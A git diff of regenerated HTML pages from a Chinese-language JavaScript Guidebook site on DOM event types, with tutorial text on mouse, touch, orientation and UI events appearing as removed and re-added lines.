                                                        console.log('ctrl+k 或者 command+k ');
                                                        }
                                                        - + diff --git a/document-object-model/events/event-types/media-events/index.html b/document-object-model/events/event-types/media-events/index.html index a383c107c..b8e54e448 100644 --- a/document-object-model/events/event-types/media-events/index.html +++ b/document-object-model/events/event-types/media-events/index.html @@ -7,33 +7,36 @@ content="width=device-width, initial-scale=1, maximum-scale=1, minimum-scale=1, user-scalable=no" /> - + 媒体事件 - JavaScript Guidebook -
                                                        +
                                                        - + diff --git a/document-object-model/events/event-types/mouse-event/index.html b/document-object-model/events/event-types/mouse-event/index.html index 39c6508b8..34cfd6355 100644 --- a/document-object-model/events/event-types/mouse-event/index.html +++ b/document-object-model/events/event-types/mouse-event/index.html @@ -7,33 +7,36 @@ content="width=device-width, initial-scale=1, maximum-scale=1, minimum-scale=1, user-scalable=no" /> - + 鼠标事件 MouseEvent - JavaScript Guidebook -

                                                        鼠标事件 MouseEvent

                                                        常见的鼠标事件主要是以下几种:

                                                        方法说明
                                                        click在用户单击主鼠标按钮(一般是左边的按钮)或者按下回车键触发。这一点对确保易访问性很重要,意味着 onclick 事件处理程序即可以通过键盘也可以通过鼠标执行。
                                                        dbclick在用户双击主鼠标按钮(一般是左边的按钮)时触发。
                                                        mousedown在用户按下了任意鼠标按钮时触发。
                                                        mouseup在用户释放鼠标按钮时触发。
                                                        mouseenter鼠标光标从元素外部首次移动到元素范围之内时触发。这个事件不冒泡,而且在光标移动到后代元素上不会触发。
                                                        mouseleave在位于元素上方的鼠标光标移动到元素范围之外时触发。这个事件不冒泡,而且在光标移动到后代元素上不会触发。
                                                        mousemove当鼠标指针在元素内部移动时重复地触发
                                                        mouseover在鼠标指针位于一个元素上方,然后用户将其移入另一个元素时触发。又移入的另一个元素可能位于前一个元素的外部,也可能是这个元素的子元素。
                                                        mouseout在鼠标指针位于一个元素外部,然后用户将其首次移入另一个元素边界之内时触发。
                                                        contextmenu弹出右键菜单
                                                        auxclick
                                                        pointerlockchange
                                                        pointerlockerror
                                                        select
                                                        wheel

                                                        页面上的所有元素都支持鼠标事件。除了 mouseentermouseleave,所有鼠标事件都会冒泡,也可以被取消,而取消鼠标事件将会影响浏览器的默认行为。取消鼠标事件的默认行为还会影响其他事件,因为鼠标事件与其他事件是密不可分的关系。

                                                        在 HTML5 中鼠标有了新的事件,如下表格:

                                                        方法说明
                                                        ondrag元素被拖动时运行的脚本
                                                        ondragend在拖动操作末端运行的脚本
                                                        ondragenter当元素元素已被拖动到有效拖放区域时运行的脚本
                                                        ondragleave当元素离开有效拖放目标时运行的脚本
                                                        ondragover当元素在有效拖放目标上正在被拖动时运行的脚本
                                                        ondragstart在拖动操作开端运行的脚本
                                                        ondrop当被拖元素正在被拖放时运行的脚本
                                                        onmousewheel当鼠标滚轮正在被滚动时运行的脚本
                                                        onscroll当元素滚动条被滚动时运行的脚本

                                                        客户区坐标位置

                                                        鼠标事件都是在浏览器视口的特定位置上发生的。这个位置信息保存在事件对象的 clientX 和 clientY 属性中。所有浏览器都支持这两个属性,它们的值表示事件发生时鼠标指针在视口的水平和垂直坐标。

                                                        客户区坐标位置

                                                        页面坐标位置

                                                        通过客户区坐标能够知道鼠标是在视口中发什么位置发生的,而页面坐标通过事件对象的 pageX 和 pageY 属性,能告诉你事件是在页面中的什么位置发生的。换句话说,这两个属性表示鼠标光标在页面中的位置,坐标是从页面本身而非视口中的左边和顶边计算的。

                                                        页面坐标位置

                                                        屏幕坐标位置

                                                        鼠标事件发生时,不仅会有相对于浏览器窗口位置,还会有一个相对于整个电脑屏幕的位置。而通过 screenX 和 screenY 属性就可以确定鼠标事件发生时鼠标指针相对于整个屏幕的坐标信息。

                                                        屏幕坐标位置

                                                        修改键

                                                        虽然鼠标事件主要是使用鼠标来触发的,便在按下鼠标时键盘上的某些键的状态也可以影响到所要采取的操作。这些修改键主是 Shift、Ctrl、Alt 和 Meta(在 window 中的 Windows 键,在 macOS 中是 Cmd 键),它们经常被用来修改鼠标事件 的行为 。DOM 为此规定 4 个属性,表示这些修改键的状态,shiftKey,ctrlKey,altKey 和 metaKey。这些属性中包含的都是布尔值,如果相应的键被按下了,则值为 true,否则值为 false。当某个鼠标事件发生时,通过检测这几个属性就可以确定用户是否同时按下其中的键。

                                                        • Shift
                                                        • Ctrl
                                                        • Alt
                                                        • Meta(window&command)

                                                        相关元素

                                                        在发生 mouseover 和 mouseout 事件时,还会涉及更多的元素。这两个事件都会涉及把鼠标指针从一个元素的边界之内移动到另一个元素的边界之内。对 mouseover 事件而言,事件的主要目标是获得光标的元素,而相关元素就是那个失去坐标的元素。类似地,对 mouseout 事件而言,事件的主要目标是失去光标的元素,而相关元素则光标的元素。

                                                        DOM 通过 evnet 对象的 relatedTarget 属性提供的相关元素信息。这个属性只对于 mouseover 和 mouseout 事件才包含值 ,对于其它事件 ,这个属性的值是 null,IE8 及之前版本不支持 relatedTarget 属性,但提供了保存着同样信息的不同属性。 在 mouseover 事件触发时,IE 的 fromeElement 属性中保存了相关元素;在 mouseout 触发时,IE 的 toElement 属性中保存着相关元素。(IE9 支持所有 这些属性)可以把下面这个跨浏览器取得相关绵方法添加到 EventUtil 对象中。

                                                        鼠标按钮

                                                        只有在主鼠标按钮被单击(或键盘回车键被按下)时才会触发 click 事件,因此检测按钮的信息并不是必要的。但对于 mousedownmouseup 事件来说,则在其 event 对象存在 一个 button 属性,表示按下或释放的按钮。DOM 的 button 属性可能有如下 3 个值:0 表示主鼠标按钮,1 表示中间的鼠标按钮(鼠标滚轮按钮),2:表示次鼠标按钮。在常规的设置中,主鼠标按钮就是鼠标左键,而次鼠标按钮就是鼠标右键。

                                                        • 1:表示按下了主鼠标按钮
                                                        • 2:表示按下了次鼠标按钮
                                                        • 3:表示同时按下了主、次鼠标按钮
                                                        • 4:表示按下了中间的鼠标按钮
                                                        • 5:表示同时按下了主鼠标按钮和中间的鼠标按钮
                                                        • 6:表示同时按下了次鼠标按钮和中间的鼠标按钮
                                                        • 7:表示同时按下了三个鼠标按钮

                                                        鼠标滚轮事件

                                                        鼠标滚轮事件指当在被绑定的对象上发生鼠标滚轮滚动时触发的事件。

                                                        在不同浏览器有不同的表现形式:

                                                        IE/Chrome

                                                        IE/Chrome 下的事件:onmousewheel

                                                        1. 事件绑定方式:on 或者 addEventListener[attachEvent]
                                                        2. 获取滚轮事件具体信息:event.wheelDelta
                                                        向上滚动:120的倍数
                                                        向下滚动:-120的倍数

                                                        通过 wheelDelta 属性的正负号可以判断鼠标滚轮滚动的方向。

                                                        Firefox

                                                        Firefox 下的事件:DOMMouseScroll

                                                        1. 事件绑定方式:addEventListener
                                                        2. 获取滚轮事件具体信息:event.detail
                                                        向上滚动:-3的倍数
                                                        向下滚动:3的倍数

                                                        触摸设备

                                                        iOS 和 Android 设备的实现非常特别,因为这些设备没有鼠标。在面向 iPhone 和 iPod 中的 Safari 开发时,要记住以下几点。

                                                        • 不支持 dbclick 事件。双击浏览器窗口会放大画面,而且没有办法改变该行为。
                                                        • 轻击可单击元素会触发 mouseover 事件。如果此操作会导致内容变化,将不再有其他事件发生;如果屏幕没有因此变化,那么会依次发生 mousedownmouseupclick 事件。轻击不可单击的元素不会触发任何事件。可单击的元素时指那些单击可产生默认操作的元素(如链接),或者那些已经被指定了 onclick 事件处理程序的元素。
                                                        • mousemove 事件也会触发 mouseovermouseout 事件。
                                                        • 两个手指放在屏幕上且页面随手指移动而滚动时会触发 mousewheelscroll 事件。

                                                        无障碍性问题

                                                        如果你的 Web 应用程序或网站要确保残疾人特别是那些使用屏幕阅读器的人都能访问,那么在使用鼠标事件时就要格外小心。前面提到过,可以通过键盘上的回车键来触发 click 事件,但其他鼠标事件却无法通过键盘来触发。为此,我们不建议使用 click 之外的其他鼠标事件来展示功能或引发代码执行。因为这样会给盲人或视障用户造成极大不便。一下时在使用鼠标事件时应当注意的几个易访问性问题。

                                                        • 使用 click 事件执行代码。有人指出通过 onmousedown 执行代码会让人觉得速度更快,对视力正常的人来说这是没错的。但是,在屏幕阅读器中,由于无法触发 mousedown 事件,结果就会造成代码无法执行。
                                                        • 不要使用 onmouseover 向用户显示新的选项。原因同上,屏幕阅读器无法触发这个事件。如果确实非要通过这种方式来显示新选项,可以考虑添加显示相同信息的键盘快捷方式。
                                                        • 不要使用 dbclick 执行重要的操作。键盘无法触发这个事件。

                                                        遵照以上提示可以极大地提升残疾人在访问你的 Web 应用程序或网站时的易访问性。

                                                        +

                                                        鼠标事件 MouseEvent

                                                        常见的鼠标事件主要是以下几种:

                                                        方法说明
                                                        click在用户单击主鼠标按钮(一般是左边的按钮)或者按下回车键触发。这一点对确保易访问性很重要,意味着 onclick 事件处理程序即可以通过键盘也可以通过鼠标执行。
                                                        dbclick在用户双击主鼠标按钮(一般是左边的按钮)时触发。
                                                        mousedown在用户按下了任意鼠标按钮时触发。
                                                        mouseup在用户释放鼠标按钮时触发。
                                                        mouseenter鼠标光标从元素外部首次移动到元素范围之内时触发。这个事件不冒泡,而且在光标移动到后代元素上不会触发。
                                                        mouseleave在位于元素上方的鼠标光标移动到元素范围之外时触发。这个事件不冒泡,而且在光标移动到后代元素上不会触发。
                                                        mousemove当鼠标指针在元素内部移动时重复地触发
                                                        mouseover在鼠标指针位于一个元素上方,然后用户将其移入另一个元素时触发。又移入的另一个元素可能位于前一个元素的外部,也可能是这个元素的子元素。
                                                        mouseout在鼠标指针位于一个元素外部,然后用户将其首次移入另一个元素边界之内时触发。
                                                        contextmenu弹出右键菜单
                                                        auxclick
                                                        pointerlockchange
                                                        pointerlockerror
                                                        select
                                                        wheel

                                                        页面上的所有元素都支持鼠标事件。除了 mouseentermouseleave,所有鼠标事件都会冒泡,也可以被取消,而取消鼠标事件将会影响浏览器的默认行为。取消鼠标事件的默认行为还会影响其他事件,因为鼠标事件与其他事件是密不可分的关系。

                                                        在 HTML5 中鼠标有了新的事件,如下表格:

                                                        方法说明
                                                        ondrag元素被拖动时运行的脚本
                                                        ondragend在拖动操作末端运行的脚本
                                                        ondragenter当元素元素已被拖动到有效拖放区域时运行的脚本
                                                        ondragleave当元素离开有效拖放目标时运行的脚本
                                                        ondragover当元素在有效拖放目标上正在被拖动时运行的脚本
                                                        ondragstart在拖动操作开端运行的脚本
                                                        ondrop当被拖元素正在被拖放时运行的脚本
                                                        onmousewheel当鼠标滚轮正在被滚动时运行的脚本
                                                        onscroll当元素滚动条被滚动时运行的脚本

                                                        客户区坐标位置

                                                        鼠标事件都是在浏览器视口的特定位置上发生的。这个位置信息保存在事件对象的 clientX 和 clientY 属性中。所有浏览器都支持这两个属性,它们的值表示事件发生时鼠标指针在视口的水平和垂直坐标。

                                                        客户区坐标位置

                                                        页面坐标位置

                                                        通过客户区坐标能够知道鼠标是在视口中发什么位置发生的,而页面坐标通过事件对象的 pageX 和 pageY 属性,能告诉你事件是在页面中的什么位置发生的。换句话说,这两个属性表示鼠标光标在页面中的位置,坐标是从页面本身而非视口中的左边和顶边计算的。

                                                        页面坐标位置

                                                        屏幕坐标位置

                                                        鼠标事件发生时,不仅会有相对于浏览器窗口位置,还会有一个相对于整个电脑屏幕的位置。而通过 screenX 和 screenY 属性就可以确定鼠标事件发生时鼠标指针相对于整个屏幕的坐标信息。

                                                        屏幕坐标位置

                                                        修改键

                                                        虽然鼠标事件主要是使用鼠标来触发的,便在按下鼠标时键盘上的某些键的状态也可以影响到所要采取的操作。这些修改键主是 Shift、Ctrl、Alt 和 Meta(在 window 中的 Windows 键,在 macOS 中是 Cmd 键),它们经常被用来修改鼠标事件 的行为 。DOM 为此规定 4 个属性,表示这些修改键的状态,shiftKey,ctrlKey,altKey 和 metaKey。这些属性中包含的都是布尔值,如果相应的键被按下了,则值为 true,否则值为 false。当某个鼠标事件发生时,通过检测这几个属性就可以确定用户是否同时按下其中的键。

                                                        • Shift
                                                        • Ctrl
                                                        • Alt
                                                        • Meta(window&command)

                                                        相关元素

                                                        在发生 mouseover 和 mouseout 事件时,还会涉及更多的元素。这两个事件都会涉及把鼠标指针从一个元素的边界之内移动到另一个元素的边界之内。对 mouseover 事件而言,事件的主要目标是获得光标的元素,而相关元素就是那个失去坐标的元素。类似地,对 mouseout 事件而言,事件的主要目标是失去光标的元素,而相关元素则光标的元素。

                                                        DOM 通过 evnet 对象的 relatedTarget 属性提供的相关元素信息。这个属性只对于 mouseover 和 mouseout 事件才包含值 ,对于其它事件 ,这个属性的值是 null,IE8 及之前版本不支持 relatedTarget 属性,但提供了保存着同样信息的不同属性。 在 mouseover 事件触发时,IE 的 fromeElement 属性中保存了相关元素;在 mouseout 触发时,IE 的 toElement 属性中保存着相关元素。(IE9 支持所有 这些属性)可以把下面这个跨浏览器取得相关绵方法添加到 EventUtil 对象中。

                                                        鼠标按钮

                                                        只有在主鼠标按钮被单击(或键盘回车键被按下)时才会触发 click 事件,因此检测按钮的信息并不是必要的。但对于 mousedownmouseup 事件来说,则在其 event 对象存在 一个 button 属性,表示按下或释放的按钮。DOM 的 button 属性可能有如下 3 个值:0 表示主鼠标按钮,1 表示中间的鼠标按钮(鼠标滚轮按钮),2:表示次鼠标按钮。在常规的设置中,主鼠标按钮就是鼠标左键,而次鼠标按钮就是鼠标右键。

                                                        • 1:表示按下了主鼠标按钮
                                                        • 2:表示按下了次鼠标按钮
                                                        • 3:表示同时按下了主、次鼠标按钮
                                                        • 4:表示按下了中间的鼠标按钮
                                                        • 5:表示同时按下了主鼠标按钮和中间的鼠标按钮
                                                        • 6:表示同时按下了次鼠标按钮和中间的鼠标按钮
                                                        • 7:表示同时按下了三个鼠标按钮

                                                        鼠标滚轮事件

                                                        鼠标滚轮事件指当在被绑定的对象上发生鼠标滚轮滚动时触发的事件。

                                                        在不同浏览器有不同的表现形式:

                                                        IE/Chrome

                                                        IE/Chrome 下的事件:onmousewheel

                                                        1. 事件绑定方式:on 或者 addEventListener[attachEvent]
                                                        2. 获取滚轮事件具体信息:event.wheelDelta
                                                        向上滚动:120的倍数
                                                        向下滚动:-120的倍数

                                                        通过 wheelDelta 属性的正负号可以判断鼠标滚轮滚动的方向。

                                                        Firefox

                                                        Firefox 下的事件:DOMMouseScroll

                                                        1. 事件绑定方式:addEventListener
                                                        2. 获取滚轮事件具体信息:event.detail
                                                        向上滚动:-3的倍数
                                                        向下滚动:3的倍数

                                                        触摸设备

                                                        iOS 和 Android 设备的实现非常特别,因为这些设备没有鼠标。在面向 iPhone 和 iPod 中的 Safari 开发时,要记住以下几点。

                                                        • 不支持 dbclick 事件。双击浏览器窗口会放大画面,而且没有办法改变该行为。
                                                        • 轻击可单击元素会触发 mouseover 事件。如果此操作会导致内容变化,将不再有其他事件发生;如果屏幕没有因此变化,那么会依次发生 mousedownmouseupclick 事件。轻击不可单击的元素不会触发任何事件。可单击的元素时指那些单击可产生默认操作的元素(如链接),或者那些已经被指定了 onclick 事件处理程序的元素。
                                                        • mousemove 事件也会触发 mouseovermouseout 事件。
                                                        • 两个手指放在屏幕上且页面随手指移动而滚动时会触发 mousewheelscroll 事件。

                                                        无障碍性问题

                                                        如果你的 Web 应用程序或网站要确保残疾人特别是那些使用屏幕阅读器的人都能访问,那么在使用鼠标事件时就要格外小心。前面提到过,可以通过键盘上的回车键来触发 click 事件,但其他鼠标事件却无法通过键盘来触发。为此,我们不建议使用 click 之外的其他鼠标事件来展示功能或引发代码执行。因为这样会给盲人或视障用户造成极大不便。一下时在使用鼠标事件时应当注意的几个易访问性问题。

                                                        • 使用 click 事件执行代码。有人指出通过 onmousedown 执行代码会让人觉得速度更快,对视力正常的人来说这是没错的。但是,在屏幕阅读器中,由于无法触发 mousedown 事件,结果就会造成代码无法执行。
                                                        • 不要使用 onmouseover 向用户显示新的选项。原因同上,屏幕阅读器无法触发这个事件。如果确实非要通过这种方式来显示新选项,可以考虑添加显示相同信息的键盘快捷方式。
                                                        • 不要使用 dbclick 执行重要的操作。键盘无法触发这个事件。

                                                        遵照以上提示可以极大地提升残疾人在访问你的 Web 应用程序或网站时的易访问性。

                                                        - + diff --git a/document-object-model/events/event-types/network-events/index.html b/document-object-model/events/event-types/network-events/index.html index 7d53688b0..20f015ec7 100644 --- a/document-object-model/events/event-types/network-events/index.html +++ b/document-object-model/events/event-types/network-events/index.html @@ -7,33 +7,36 @@ content="width=device-width, initial-scale=1, maximum-scale=1, minimum-scale=1, user-scalable=no" /> - + 网络事件 - JavaScript Guidebook -
                                                        +
                                                        - + diff --git a/document-object-model/events/event-types/pointer-events/index.html b/document-object-model/events/event-types/pointer-events/index.html index 0a350476b..dbe58651c 100644 --- a/document-object-model/events/event-types/pointer-events/index.html +++ b/document-object-model/events/event-types/pointer-events/index.html @@ -7,33 +7,36 @@ content="width=device-width, initial-scale=1, maximum-scale=1, minimum-scale=1, user-scalable=no" /> - + 指针事件 - JavaScript Guidebook -
                                                        +
                                                        - + diff --git a/document-object-model/events/event-types/printing-events/index.html b/document-object-model/events/event-types/printing-events/index.html index 84c5513f3..68fa01df1 100644 --- a/document-object-model/events/event-types/printing-events/index.html +++ b/document-object-model/events/event-types/printing-events/index.html @@ -7,33 +7,36 @@ content="width=device-width, initial-scale=1, maximum-scale=1, minimum-scale=1, user-scalable=no" /> - + 打印事件 - JavaScript Guidebook -
                                                        +
                                                        - + diff --git a/document-object-model/events/event-types/progress-events/index.html b/document-object-model/events/event-types/progress-events/index.html index 345e36846..0b7e91171 100644 --- a/document-object-model/events/event-types/progress-events/index.html +++ b/document-object-model/events/event-types/progress-events/index.html @@ -7,33 +7,36 @@ content="width=device-width, initial-scale=1, maximum-scale=1, minimum-scale=1, user-scalable=no" /> - + 进度条事件 - JavaScript Guidebook -
                                                        +
                                                        - + diff --git a/document-object-model/events/event-types/resource-events/index.html b/document-object-model/events/event-types/resource-events/index.html index 3d15da95c..1425abdcd 100644 --- a/document-object-model/events/event-types/resource-events/index.html +++ b/document-object-model/events/event-types/resource-events/index.html @@ -7,33 +7,36 @@ content="width=device-width, initial-scale=1, maximum-scale=1, minimum-scale=1, user-scalable=no" /> - + 资源事件 - JavaScript Guidebook -
                                                        +
                                                        - + diff --git a/document-object-model/events/event-types/session-history-events/index.html b/document-object-model/events/event-types/session-history-events/index.html index 8b14ee42b..958edd238 100644 --- a/document-object-model/events/event-types/session-history-events/index.html +++ b/document-object-model/events/event-types/session-history-events/index.html @@ -7,33 +7,36 @@ content="width=device-width, initial-scale=1, maximum-scale=1, minimum-scale=1, user-scalable=no" /> - + 会话历史事件 - JavaScript Guidebook -
                                                        +
                                                        - + diff --git a/document-object-model/events/event-types/storage-events/index.html b/document-object-model/events/event-types/storage-events/index.html index ecc71abd1..447805167 100644 --- a/document-object-model/events/event-types/storage-events/index.html +++ b/document-object-model/events/event-types/storage-events/index.html @@ -7,33 +7,36 @@ content="width=device-width, initial-scale=1, maximum-scale=1, minimum-scale=1, user-scalable=no" /> - + 存储事件 - JavaScript Guidebook -
                                                        +
                                                        - + diff --git a/document-object-model/events/event-types/text-composition-events/index.html b/document-object-model/events/event-types/text-composition-events/index.html index 54fa4c3b4..5160ee2ad 100644 --- a/document-object-model/events/event-types/text-composition-events/index.html +++ b/document-object-model/events/event-types/text-composition-events/index.html @@ -7,33 +7,36 @@ content="width=device-width, initial-scale=1, maximum-scale=1, minimum-scale=1, user-scalable=no" /> - + 文本写作事件 - JavaScript Guidebook -
                                                        +
                                                        - + diff --git a/document-object-model/events/event-types/the-orientationchange-event/index.html b/document-object-model/events/event-types/the-orientationchange-event/index.html index 50cb087ac..07811722b 100644 --- a/document-object-model/events/event-types/the-orientationchange-event/index.html +++ b/document-object-model/events/event-types/the-orientationchange-event/index.html @@ -7,33 +7,36 @@ content="width=device-width, initial-scale=1, maximum-scale=1, minimum-scale=1, user-scalable=no" /> - + 设备事件 - JavaScript Guidebook -

                                                        设备事件

                                                        orientationchange 事件

                                                        苹果公司为移动 Safari 中添加了 orientationchange 事件,以便开发人员能够确定用户何时将设备由横向查看模式切换为纵向查看模式。移动 Safari 的 window.orientation 属性中可能包含 3 个值:

                                                        • 0:表示肖像模式
                                                        • 90:表示向左旋转的横向模式(“主屏幕”按钮在右侧)
                                                        • -90:表示向右旋转的横向模式(“主屏幕”按钮在左侧)

                                                        相关文档中还提到一个值,即 180 表示 iPhone 头朝下;但这种模式至今尚未得到支持。

                                                        只要用户改变了设备的查看模式,就会触发 orientationchange 事件。此时的 event 对象不包含任何有价值的信息,因为唯一相关的信息可以通过 window.orientation 访问到。下面是使用这个事件的典型示例。

                                                        EventUtil.addHandler(window, 'load', function(event) {
                                                        const div = document.getElementById('myDiv');
                                                        div.innerHTML = 'Current orientation is ' + window.orientation;
                                                        EventUtil.addHandler(window, 'orientationchange', function(event) {
                                                        div.innerHTML = 'Current orientation is ' + window.orientation;
                                                        });
                                                        });

                                                        在这个例子中,当触发 load 事件时会显示最初的方向信息。然后,添加了处理 orientationchange 事件的处理程序。只要发生这个事件,就会有表示新方向的信息更新页面中的消息。

                                                        所有 iOS 设备都支持 orientationchange 事件和 window.orientation 属性。

                                                        MozOrientation 事件

                                                        Firefox3.6 为检查设备的方向引入了一个名为 MozOrientation 的新事件。(前缀 Moz 表示这是特定于浏览器开发商的事件,不是标准事件。)当设备的加速计检测到设备方向改变时,就会触发这个事件。但这个事件与 iOS 中的 orientationchange 事件不同,该事件只能提供一个平面的方向变化。由于 MozOrientation 事件是在 window 对象上触发的,所以可以使用以下代码来处理。

                                                        EventUtil.addHandler(window, 'MozOrientation', function(event) {
                                                        // 响应事件
                                                        });

                                                        此时的 event 对象包含三个属性:x、y 和 z。这几个属性的值都介于 1 到-1 之间,表示不同坐标轴上的方向。在静止状态下,x 值为 0,y 值为 0,z 值为 1(表示设备处于竖直状态)。如果设备向右倾斜,x 值会减少;反之,向左倾斜,x 值会增大。类似地,如果设备向远离用户的方向倾斜

                                                        deviceorientation 事件

                                                        +

                                                        设备事件

                                                        orientationchange 事件

                                                        苹果公司为移动 Safari 中添加了 orientationchange 事件,以便开发人员能够确定用户何时将设备由横向查看模式切换为纵向查看模式。移动 Safari 的 window.orientation 属性中可能包含 3 个值:

                                                        • 0:表示肖像模式
                                                        • 90:表示向左旋转的横向模式(“主屏幕”按钮在右侧)
                                                        • -90:表示向右旋转的横向模式(“主屏幕”按钮在左侧)

                                                        相关文档中还提到一个值,即 180 表示 iPhone 头朝下;但这种模式至今尚未得到支持。

                                                        只要用户改变了设备的查看模式,就会触发 orientationchange 事件。此时的 event 对象不包含任何有价值的信息,因为唯一相关的信息可以通过 window.orientation 访问到。下面是使用这个事件的典型示例。

                                                        EventUtil.addHandler(window, 'load', function(event) {
                                                        const div = document.getElementById('myDiv');
                                                        div.innerHTML = 'Current orientation is ' + window.orientation;
                                                        EventUtil.addHandler(window, 'orientationchange', function(event) {
                                                        div.innerHTML = 'Current orientation is ' + window.orientation;
                                                        });
                                                        });

                                                        在这个例子中,当触发 load 事件时会显示最初的方向信息。然后,添加了处理 orientationchange 事件的处理程序。只要发生这个事件,就会有表示新方向的信息更新页面中的消息。

                                                        所有 iOS 设备都支持 orientationchange 事件和 window.orientation 属性。

                                                        MozOrientation 事件

                                                        Firefox3.6 为检查设备的方向引入了一个名为 MozOrientation 的新事件。(前缀 Moz 表示这是特定于浏览器开发商的事件,不是标准事件。)当设备的加速计检测到设备方向改变时,就会触发这个事件。但这个事件与 iOS 中的 orientationchange 事件不同,该事件只能提供一个平面的方向变化。由于 MozOrientation 事件是在 window 对象上触发的,所以可以使用以下代码来处理。

                                                        EventUtil.addHandler(window, 'MozOrientation', function(event) {
                                                        // 响应事件
                                                        });

                                                        此时的 event 对象包含三个属性:x、y 和 z。这几个属性的值都介于 1 到-1 之间,表示不同坐标轴上的方向。在静止状态下,x 值为 0,y 值为 0,z 值为 1(表示设备处于竖直状态)。如果设备向右倾斜,x 值会减少;反之,向左倾斜,x 值会增大。类似地,如果设备向远离用户的方向倾斜

                                                        deviceorientation 事件

                                                        - + diff --git a/document-object-model/events/event-types/touch-events/index.html b/document-object-model/events/event-types/touch-events/index.html index 7de80c635..cfb0ab99b 100644 --- a/document-object-model/events/event-types/touch-events/index.html +++ b/document-object-model/events/event-types/touch-events/index.html @@ -7,21 +7,24 @@ content="width=device-width, initial-scale=1, maximum-scale=1, minimum-scale=1, user-scalable=no" /> - + @@ -36,12 +39,12 @@
                                                        return z;
                                                        }
                                                        function calcDegree(touch1, touch2) {
                                                        // 计算两个触点的距离,两个直角边长度
                                                        const x = touch2.clientX - touch1.clientX;
                                                        const y = touch2.clientY - touch1.clientY;
                                                        // 根据两个直角边比例 tan,计算角度
                                                        const angle = Math.atan2(y, x); // 是个弧度
                                                        // 根据弧度计算角度
                                                        const deg = (angle / Math.PI) * 180;
                                                        return deg;
                                                        }
                                                        }
                                                        -
                                                        w.gesture = gesture;
                                                        })();

                                                        移动端延迟问题

                                                        移动端 click 事件有 300ms 延迟问题,touch 事件没有。

                                                        目前最广泛使用的解决移动端 click 延迟问题的方案是使用 fastclick

                                                        fastclick 的思路就是利用 touch 来模拟 tap(触碰),如果认为是一次有效的 tap,则在 touchend 时立即模拟一个 click 事件,分发到事件源(相当于主动触发一次 click 事件),同时阻止掉浏览器 300ms 后产生的 click 事件。


                                                        参考资料:

                                                        +
                                                        w.gesture = gesture;
                                                        })();

                                                        移动端延迟问题

                                                        移动端 click 事件有 300ms 延迟问题,touch 事件没有。

                                                        目前最广泛使用的解决移动端 click 延迟问题的方案是使用 fastclick

                                                        fastclick 的思路就是利用 touch 来模拟 tap(触碰),如果认为是一次有效的 tap,则在 touchend 时立即模拟一个 click 事件,分发到事件源(相当于主动触发一次 click 事件),同时阻止掉浏览器 300ms 后产生的 click 事件。


                                                        参考资料:

                                                        - + diff --git a/document-object-model/events/event-types/ui-events/index.html b/document-object-model/events/event-types/ui-events/index.html index e2e1b4054..91f7585d4 100644 --- a/document-object-model/events/event-types/ui-events/index.html +++ b/document-object-model/events/event-types/ui-events/index.html @@ -7,33 +7,36 @@ content="width=device-width, initial-scale=1, maximum-scale=1, minimum-scale=1, user-scalable=no" /> - + 用户界面事件 - JavaScript Guidebook -

                                                        用户界面事件

                                                        UI 事件指的是那些不一定与用户操作有关的事件。这些事件在 DOM 规范出现之前,都是以这种或那种形式存在的,而在 DOM 规范中保留是为了向后兼容。

                                                        事件方法说明
                                                        DOMActivate表示元素已经被用户操作(通过鼠标或键盘)激活。这个事件在 DOM3 级事件中被废弃,但 FireFox2+ 和 Chrome 支持它。考虑到不同浏览器实现的差异 ,不建议使用这个事件。
                                                        load当页面完全加载后在 window 上面触发,当所有框架都加载完毕时在框架集上面触发,当图像加载完毕时在 <img> 元素上面触发。或者当嵌入的内容加载完毕时在元素上面触发。
                                                        unload当页面完全卸载后在 window 上面触发,当所有框架都卸载后在框架集上面触发,或者当嵌入的内容卸载完毕后在元素上面触发。
                                                        abort在用户停止下载过程时,如果嵌入的内容没有加载完,则在元素上面触发。
                                                        error当发生 JavasScript 错误时在 window 上面触发,当无法加载图片时在<img>元素上面触发,当元素加载嵌入内容时在元素上面触发,或者当有一或多个框架无法加载时在框架集上面触发。
                                                        select当用户选择文本框中的一个可多个字符时触发。
                                                        resize当窗口或框架的大小变化(<input><textarea)时在 window 或框架上面触发。
                                                        scroll当用户流动带有流动条的元素中的内容时,在该元素上面触发。元素中包含所加载页面的流动条。

                                                        load 事件

                                                        当页面完全加载后(包括所有图像、JavaScript 文件、CSS 文件等外部资源),就会触发 window 上面的 load 事件。

                                                        有两种定义 load 事件的方式:

                                                        • 通过 JavaScript 事件处理程序定义

                                                          window.addEventListener('load', function(event) {
                                                          // do something
                                                          });
                                                        • 通过为 <body> 元素添加 onload 特性

                                                          <body onload="console.log('Loaded!')"></body>

                                                        unload 事件

                                                        与 load 事件对应的是 unload 事件,这个事件在文档被完全卸载后触发。只要用户从一个页面切换到另一个页面,unload 事件就会触发。而利用这个事件最多的情况就是清除引用,以避免内存泄漏。

                                                        unload 事件的定义方式与 load 事件相同。

                                                        resize 事件

                                                        当浏览器窗口被调整到一个新的高度或宽度时,就会触发 resize 事件。这个事件在 window(窗口)上面触发,因此可以通过 JavaScript 或者 <body> 元素中的 onsize 特性来指定事件处理程序。

                                                        关于何时会触发 resize 事件,不同浏览器有不同的机制。IE、Safari、Chrome 和 Opera 会在浏览器窗口变化了 1 像素时就触发 resize 事件,然后随着变化不断重复触发。FIrefox 则只会在用户停止调整窗口变化时才会触发 resize 事件。由于 存在这个差别,应该注意不要在这个事件的处理程序中加入大计算的代码。因为这些代码有可能被频繁执行,从而导致浏览器反应明显变慢。

                                                        scroll 事件

                                                        虽然 scroll 事件是在 window 对象上发生的,但它实际表示的则是页面中相应元素的变化。在混杂模式下,可以通过 <body> 元素的 scrollLeftscrollTop 来监控到这一变化;而在标准模式下,除 Safari 之外的所有浏览器都会通过 <html> 元素来反映这一变化(Safari 仍然基于 <body> 跟踪滚动位置)。

                                                        与 resize 事件类似,scroll 事件也会在文档被滚动期间重复被触发,所以有必要尽量保持事件处理程序的代码简单。

                                                        +

                                                        用户界面事件

                                                        UI 事件指的是那些不一定与用户操作有关的事件。这些事件在 DOM 规范出现之前,都是以这种或那种形式存在的,而在 DOM 规范中保留是为了向后兼容。

                                                        事件方法说明
                                                        DOMActivate表示元素已经被用户操作(通过鼠标或键盘)激活。这个事件在 DOM3 级事件中被废弃,但 FireFox2+ 和 Chrome 支持它。考虑到不同浏览器实现的差异 ,不建议使用这个事件。
                                                        load当页面完全加载后在 window 上面触发,当所有框架都加载完毕时在框架集上面触发,当图像加载完毕时在 <img> 元素上面触发。或者当嵌入的内容加载完毕时在元素上面触发。
                                                        unload当页面完全卸载后在 window 上面触发,当所有框架都卸载后在框架集上面触发,或者当嵌入的内容卸载完毕后在元素上面触发。
